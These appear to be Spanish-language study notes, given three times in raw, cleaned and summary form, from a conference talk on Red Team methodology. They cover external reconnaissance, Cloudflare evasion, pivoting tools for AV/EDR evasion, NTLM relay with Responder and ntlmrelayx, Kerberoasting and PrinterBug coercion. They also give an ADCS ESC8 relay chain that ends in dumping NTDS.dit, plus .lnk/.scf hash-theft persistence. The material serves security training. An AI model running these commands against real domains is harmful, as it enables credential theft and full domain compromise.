Red Team
Author: https://jornadas.ccn-cert.cni.es/es/xixjornadas-programa-general/xix-jornadas-ccn-cert/ponente/eduardo-arriols Dificulty: Intermediate Día : Día 1
Metodología de reconocimiento
- Buscar el resto de nombres de un activo; es decir, BBVA adquirió Caja Madrid, y puede ser que ahí…
- Infraestructura pública.
- Infraestructura Cloud (proveedores).
- Dominios y subdominios.
- Aplicaciones web y servicios desplegados.
De alto nivel a bajo nivel
Entidades y filiales → sistemas autónomos → rangos de red → dominios → subdominios.
Infraestructura
💡 Identificar los sistemas autónomos para cada una de las entidades. Puede realizarse mediante servicios online tales como BGP Hurricane.
Buscar directamente rangos de red → whoisXMLapi (ip-networks). Buscará toda la infraestructura mediante nombre y descripción. Con esto buscamos la infraestructura interna de los activos.
Identificación de dominios
- Reverse CIDR Lookup (ej.: IPIP) → resoluciones masivas para ver rangos.http://whois.ipip.net/cidr/
- Reverse Whois → búsqueda por nombre de organización para obtener dominios y subdominios teóricos. Obtiene información como fechas de registro, descripción, etc.(Ejemplo: de 46 dominios de Caixa, 44 pueden ser correctos).
- Reverse NS / MX → obtener listados de dominios que comparten servidores de nombre y correo.
Haciendo un análisis con ViewDNS (DNS Report):
- El registro NS resolverá más dominios.
- Lo mismo con MX.
- Con estos servidores podemos hacer un reverse domain lookup y encontrar dominios adicionales.
Análisis de subdominios
Herramientas: subscan, massdns, altdns, shodan, amass, subfinder.
Fuerza bruta de subdominios:
github danielmiessler/SecList/blob/master/Discovery/DNS/bitquark-subdomains-top100000.txt
Ejemplos:
hostia.test.comjoder.hostia.test.com- Patrones predecibles:
hostia2.test.com→ probablemente existahostia1.test.com.
Tras la identificación
Comienza la enumeración y análisis de servicios expuestos y posibles vulnerabilidades.
- Para grandes infraestructuras usar Shodan (buscar rangos con muchos puertos abiertos).
- Capturas de pantalla automáticas: Gowitness.
- Identificación de activos en tecnologías no estandarizadas.
- Identificación mediante banner.
- Certificados en servicios HTTPS.
- Evadir Cloudflare mediante histórico de IPs.
Pivoting
Uso de herramientas como reGeorg, Neo-reGeorg, Suo5, Pivotnacci, Pystinger para evadir AV/EDR.
Herramienta destacada: neoreg.py
Ataques de Relay
La obtención de credenciales es crucial para pivotar entre activos.
- Acceso a sistemas de ficheros o recursos compartidos.
- Usuarios locales (volcado de SAM).
- Extracción de credenciales en RAM.
- DPAPI → almacena datos sensibles (incluyendo credenciales de Chrome).
- Spoofing local (InternalMonologue) → servicio a la escucha, esperando un acceso.
- Spoofing en red (LLMNR, NBT-NS, mDNS) → montar servicios fraudulentos para capturar challenge-response. NTLM sigue existiendo por compatibilidad → permite reutilizar o romper NTLMv2.
Tipología de ataque Relay / Captura de hashes
impacket-ntlmrelayx -t IP --smb2support
Tres máquinas:
- Servidor
- Máquina que accede al servidor
- Máquina que escucha
Comandos:
Escucha:
sudo responder -I eth0
Relay:
impacket-ntlmrelayx -t IP --smb2support
El atacante intercepta la conexión y gestiona el challenge para autenticarse en el servidor objetivo.
Ejemplos adicionales
- Crear un archivo
.lnkmalicioso → al acceder a la carpeta se envían hashes al atacante.Buena técnica de persistencia.
Compromiso de sistemas internos
Acciones habituales tras obtener acceso:
- Análisis de Directorio Activo (Kerberoasting, ASREProasting, ADCS).
- Recursos compartidos (claves e información).
- Controladores de dominio: PrinterBug, PrintNightmare.
- Analizar archivos internos (equipos desactualizados, servicios web).
Kerberoasting
Técnica para obtener TGT de usuarios.
- Solo requiere un usuario de dominio.
- Aprovecha funcionalidad legítima.
- Si las contraseñas son débiles, se crackean fácilmente.
Comando:
impacket-GetUserSPNs -request <FQDN>/<usuario> -dc-ip <IP DC> -request-user <user>
ASREProasting
Cuentas que no requieren autenticación Kerberos → cualquiera puede pedir TGTs, cifrados con sus claves.
Si son débiles, se rompen.
Unconstrained Delegation
Si un usuario se autentica en una máquina con Delegación Ilimitada (por SMB, etc.), se puede impersonar mientras la sesión siga activa.
Ataques básicos sobre Controladores de Dominio
- PrinterBug:
python printerbug.py 'silentforce/sergii:abc123..'@10.0.2.4 10.0.2.15 - PetitPotam
- DFSCoerce
- Coercer (todo a la vez)
Rubeus sirve para ver tickets.
Ej.: SpoolSample.exe labdc.silentforce.lab wibn-server2012.silentforce.lab
Comportamiento ADCS
Servicios de certificados de Active Directory.
Suele ser infraestructura olvidada y con fallos.
Herramienta:
certipy-ad find -u usuario@dominio -p contraseña -dc-ip <IP>
Herramientas útiles
- SecurityTrails
-
RAW
Metodología de reconocimiento
- Buscar el resto de nombres, de un activo, es decir, bbva, adquirió caja madrid, y puede ser que ahí.
- Infraestructura pública
- Infraestructura Cloud (proveedores)
- Dominios y subdominio
- Aplicaciones web y servicios desplegados.
De alto nivel a bajo nivel
Entidades y filiales → sistemas autónomos → rangos de red → dominios → subdominios
Infraestructura
Buscar directamente rangos de red → whoisXMLapi (ip-networks) buscará toda la infraestrucutra mediante nombre, descripcción. Con esto busc amos la infraestructura interna de los activos a buscar
Identificacion de dominios
- Mediante Reverse CIDR Lookup (ej: IPIP) → resolucones de forma masiva para ver los rangos
- http://whois.ipip.net/cidr/
- http://whois.ipip.net/cidr/
- Reverse Whois → buscar por el nombre de la organizacion los dominios y subdominios teóricos de tal activo. Busca en internet, mira los dominios, saca la informacion de dominio, busca fecha de regisgro, descripccion, etc, y mediante una busqueda reversa, saca el resto de dominios con esos parámetros: (”POr ejemplo, de caixa, de 46 dominuos, 44 serán acertados”)
- Reverse NS / MX → obtener el listado de dominios que comparten servodres de nombre y correo. Haciendo un escaner del dominio (ViewDNS.info → DNS report). Buscará la info a nivel de DNS, realmente mirara el registro a nmivel de nombre y a nivel de correo. Si estos son suyos,
- El registro de NS record resolverá más dominios.
- Y lo mismo con MX.
- Con estos servidores si hacemos un reversh domine lookup veremos donde resuelven estos dominios, normalmenmte dando a lugar dominios propios de la empresa.
Analisis de subdominios. → subscan, massdns, altdns, shodan,
- amass
- subfinder
Hacer fuerza bruta de sobdominios:
githubdanielmiessler/SecList/blob/master/Discovery/DNS/bitquark-subdimains-top100000.txt
- Subdominios:
hostia.test.com - Subdominios de subdominios:
joder.hostia.test.com - Patrones predecibles:
hostia2.test.compues lo más probable es que haya unhostia1.test.com
Tras la identificación
comienza la enumeracio. y analisis de estos buscarndo e identificando servcios expuesto y potenciales vulnerabilidades.
- Si tienes mucho que analizar no te vas a tirar 1 mes. Lo mejor es usar por ejemlo Shodan. Lo bueno de shodan es buscar rangos de red con muchos puertos abuertos
- Captura de pantalla automatizadas para aplicaciones web: Gowithness
- Identificacion de activos en teconoologias no estendarizadas. Si 1000 usan adsp, y 5 asp pues tiraremos por asp
- Identificación de activamos de manera directa por banner → con banner podemos revisar si pertenecen o no a lo mismo
- Mediante certificacdos en servicios HYYPS
- Evadir entornos de claudflared mediante historico de direcciones IP
Pivoting
alguna herramienta como reGeorg y adaptarla a nuestras necesidades, de cara a evadir AV/EDR. Tamnbien uso de versiones avanzadas como Neo-reGeorg, Suo5, Pivotnacci, Pystinger.
Herramienta: neoreg.py
Ataques de Relay
Para la obtencion de credenciales es crucial para pivotar entre activos. Es muy habitual extraer credenciales mediante este proceso.
- Obtencion mediante acceso a sistema de ficheros o recursos compartidos
- Usuarios locales (volcado de credenciales mediane SAM) (pueden dar por saco)
- Extraccion de credenciales de memoria RAM (pueden dar por saco)
- DPAPI → Data Protection API → almacena una gran cantidad de datos de procesos, credenciales de crome por ejemplo
- Spoffing de servicios locales (InternalMonologue) → ponemos un servicio a la escucha, y esperamos que un proceso intente acceder dandonos un hash.
- Spoffing de servicios en red (LLMNR, NBT-NS, MDNS) obtener credenciales de activos en red. Levantar servicios fraudiulentos a nivel de microsoft para intentar acceder a los chalengge response. Microsoft, (NTLM) no lo quita por temas de compatibilidad, y podemos forzar el chalenge response (romper hash ntlm version 2) aunque tambié podemos intentar reutilizarlos
Tipologia de ataque de relay o captura de hashes
NTML Relay X →
impaquet-ntlmrelayx -t IP -smb2suport3 máquinas, un server, un ordenador que accede al server y otro que escucha. Cuando se intenta conectar, nuestra maquina que escucha, lee la cabecera, se va a buscar el icono IP/share/test.ico.
sudo responder -I eth0para escuchar el chalenge response, y está capturando el hash del administrador, porque está enviando los hashes. Si obtienes un usuario de dominio , y tienen un archivo sfs, cualqueira que acceda a la carpeta nos estará enviando sus hashes. Para escuchar hases.Pero si queremos hacer relay ejecutamnos
impaquet-ntlmrelayx -t IP -smb2suport, lo que está pasando que es al visitar la página, en vez de capturarla, lo que hacemos es que en su propio explorador, dice, me quiero conectar, este nos da el chalenge,Más ejemplos
Crea un archivo enlace lnk, cuando este archivo está en una carpeta y se accede a la carpeta, nos lo enviará a nuestra maquina
$$ \text{Es una buena manera de mantener persistencia} $$
Compromiso de sistemas internos
Cuando obtenermos acceso, es habitual realizar al menos las siguientes acciones:
- Análisis de Directorio Activo (Kerberoast, Asreproacts, y ADCS)
- Analisis de recursos compartidos (informacion y claves)
- Analaisis de controladores de dominio PrinterBug PrintNightmare Analiss de archivos en infraestructura interna (equipos desactualizados, servicios web)
Kerberoasting
Técnica para obtener todos los TGTs de los usuarios. Los tickets están cifrados con el hash del usuario.
- Solo requiere un usuario de dominio (aunque no tenga privilegiis)
- se aprovecha de una funcionalidad legitima que raravez esta modificada
- Muchos de los usuarios
impacket-GetUserSPNs -request <FQDN dom>/<usuario> -dc-ip <IP DC> -request-user <user req>No se tarda nada, y si las contraseas son débiles, se pueden crackear
ASreproasting
Cuentas que no requieren autentucacion de kerberos. Cualquier persona puede obtener un TGT, el DC se lo va a dar pero clarp, estarña cifrado. Pero lo mismo, se piuede romper y si sale sale.
Uncontstrained Del
Cualqueir persona que se autentique (se por smb por ejemplo) la máquina le pide al controlador de dominio un DC, podemos impersonar. Si la conexion está activa.
Ataques basico sobre COntroladores de Dominio
Muchas veces:
- PrinterBug:
ptrhon printerbug.py 'silentforce/sergii:abc123 ..'@10.0.2.4 10.0.2.15- Intenta que el .4 se autentique contra ti .15
- Rubeus sirve para mirar los tickets
- SpoolSample.exe labdc.silentforce.lab wibn-server2012.siletforce.lab
- PetitPotam
- DFSCoerce
Cooercer (matar moscas a cañonazos), todo a la vez
Comportamiento ADCS
Servicios de certificados de ActiveDirectory (AD CD)
Esta infraestructura la dejan de la mano, no se analizan ni nada.
Usaremos herramientoas como certipy-ad find -u usuario@dqdndom -p clave -dc-ip ip
HERRAMIENTAS
- Security Trails
-
Process
Metodología de reconocimiento y ataques internos en infraestructuras corporativas
Contexto general
Esta charla cubre la metodología completa para ejercicios de Red Team en entornos corporativos, desde el reconocimiento externo hasta el compromiso interno. El enfoque principal es cómo identificar activos que las organizaciones ni siquiera saben que tienen expuestos, y cómo aprovechar vulnerabilidades comunes en Active Directory para escalar privilegios. Lo relevante aquí es que no se trata de herramientas mágicas, sino de entender la metodología paso a paso para no quedarte en la superficie.
Conceptos clave del reconocimiento externo
- Metodología de alto a bajo nivel: Entidades/filiales → sistemas autónomos → rangos de red → dominios → subdominios
- Buscar nombres históricos: Si BBVA compró Caja Madrid, buscar también infraestructura antigua que siga activa (nadie limpia todo)
- Sistemas autónomos: Usar BGP Hurricane para identificarlos, luego extraer rangos de red
- Rangos de red directos: WhoisXMLAPI (ip-networks) busca por nombre y descripción de la organización
- Reverse CIDR Lookup: IPIP.net permite ver qué dominios apuntan a rangos específicos
- Reverse Whois: Buscar por nombre de organización para encontrar dominios teóricos (ej: de 46 dominios de Caixa, 44 correctos)
- Reverse NS/MX: Identificar dominios que comparten servidores de nombres/correo usando ViewDNS
- Subdominios: Herramientas como subscan, massdns, amass, subfinder. Diccionario útil:
danielmiessler/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt - Patrones predecibles: Si existe
hostia2.test.com, probablemente existahostia1.test.com - Priorización: Usar Shodan para rangos con muchos puertos abiertos, Gowitness para capturas automáticas
- Evadir Cloudflare: Buscar histórico de IPs antes de que se metiera detrás de CF
Desarrollo técnico: Ataques de Relay y NTLM
El núcleo de la charla está en los ataques de relay NTLM. Básicamente, NTLM sigue existiendo por compatibilidad en infraestructuras Microsoft, y permite interceptar el challenge-response para reutilizarlo.
Flujo típico de relay:
- Servidor envía challenge al cliente
- Cliente firma el challenge con su hash NTLM
- Atacante intercepta y reenvía al servidor objetivo
- Servidor valida contra el DC y da acceso
Formas de forzar conexiones:
- Spoofing local: InternalMonologue, escuchar servicios locales
- Spoofing en red: LLMNR, NBT-NS, mDNS con Responder
- Archivos maliciosos:
.lnk,.scf,.urlque al abrir la carpeta envían hashes automáticamente sin interacción del usuario
Pivoting tras compromiso:
- Herramientas: reGeorg, Neo-reGeorg, Suo5, Pivotnacci, Pystinger (evadir AV/EDR)
- neoreg.py es la destacada para proxificar comunicación a través de recursos interpretados (PHP, ASP, ASPX, JSP)
Ataques internos y Active Directory
Kerberoasting y ASREProasting
- Kerberoasting: Cualquier usuario de dominio puede pedir TGS de cuentas de servicio, están cifrados con el hash del usuario → crackear offline
- Comando:
impacket-GetUserSPNs -request <FQDN>/<usuario> -dc-ip <IP DC> -request-user <user>
- Comando:
- ASREProasting: Cuentas sin pre-autenticación Kerberos → cualquiera puede pedir TGTs cifrados con claves débiles
Unconstrained Delegation
Si un usuario se autentica en una máquina con Delegación Ilimitada (por SMB, etc.), se puede impersonar mientras la sesión esté activa. Útil combinado con PrinterBug/PetitPotam para forzar autenticaciones.
Vulnerabilidades de coerción en DC
- PrinterBug:
python printerbug.py 'domain/user:pass'@DC_IP attacker_IP - PetitPotam, DFSCoerce, ShadowCoerce: Forzar al DC a autenticarse contra el atacante
- Coercer: Lanza todos los anteriores a la vez
Truco importante: Usar Rubeus para ver tickets. Ejemplo:
SpoolSample.exe labdc.domain.lab attacker.domain.labADCS (Active Directory Certificate Services)
Infraestructura olvidada y mal configurada en muchas organizaciones. Herramienta clave:
certipy-ad find -u user@domain -p pass -dc-ip <IP>Escaladas comunes:
- ESC1, ESC2, ESC3: Templates mal configurados permiten pedir certificados a nombre de otros usuarios
- ESC4 (Template Hijacking): Usuario puede modificar template → hacerlo vulnerable a ESC1
- ESC8 (Web Enrollment): Servicio web vulnerable a NTLM relay → obtener certificados vía relay
Técnica letal: Combinar PrinterBug + ESC8:
# Poner a la escucha relay hacia web enrollment ntlmrelayx.py -t http://CA/certsrv -smb2support --adcs --template DomainController # Forzar conexión del DC printerbug.py 'domain/user:pass'@DC_IP attacker_IPResultado: Certificado PFX del DC → extraer hash NTLM del DC →
secretsdumppara volcar NTDS.dit completo.Herramientas y comandos mencionados
- Reconocimiento: BGP Hurricane, WhoisXMLAPI, IPIP.net, ViewDNS, SecurityTrails, Shodan
- Subdominios: amass, subfinder, subscan, massdns, altdns
- Capturas: Gowitness
- Pivoting: neoreg.py, reGeorg, Neo-reGeorg
- Relay:
impacket-ntlmrelayx -t IP --smb2support, Responder - AD attacks: impacket-GetUserSPNs, Rubeus, SpoolSample.exe, certipy-ad
- ADCS: Certify, certipy-ad
- Pass-the-hash:
secretsdump.py domain/user@IP -hashes :NTLM_HASH
Términos técnicos importantes
- Challenge-response: Mecanismo NTLM donde el servidor envía un desafío que el cliente firma con su hash
- NTLMv2 hash: Hash capturado del challenge-response, se puede crackear offline
- TGT/TGS: Tickets de Kerberos (Ticket Granting Ticket / Ticket Granting Service)
- PFX: Formato de certificado que incluye clave privada
- NTDS.dit: Base de datos del DC que contiene todos los hashes del dominio
- SPNs: Service Principal Names, cuentas de servicio en AD
Lo que me llevo
El reconocimiento no es solo lanzar herramientas automatizadas, hay que seguir una metodología completa que incluya nombres históricos y búsqueda por rangos de red. A nivel interno, NTLM relay combinado con ADCS es devastador y sorprendentemente común. Los ataques de coerción (PrinterBug, PetitPotam) son triviales de ejecutar pero requieren entender bien el flujo para aprovecharlos correctamente. La clave está en combinar técnicas: relay + ADCS, relay + Unconstrained Delegation, etc.
Punto crítico: Los archivos .scf/.lnk en carpetas compartidas son persistencia pasiva brutal, cada usuario que abra la carpeta envía hashes sin saberlo.
Para investigar más
- Repo de Certify para las 16 escaladas ADCS completas
- Técnicas de evasión de EDR para volcado de LSASS y SAM
- Pass-the-certificate en detalle
- Coercer y todas las variantes de coerción más allá de PrinterBug
- Automatización completa del proceso de reconocimiento (como Silent Force lo tiene)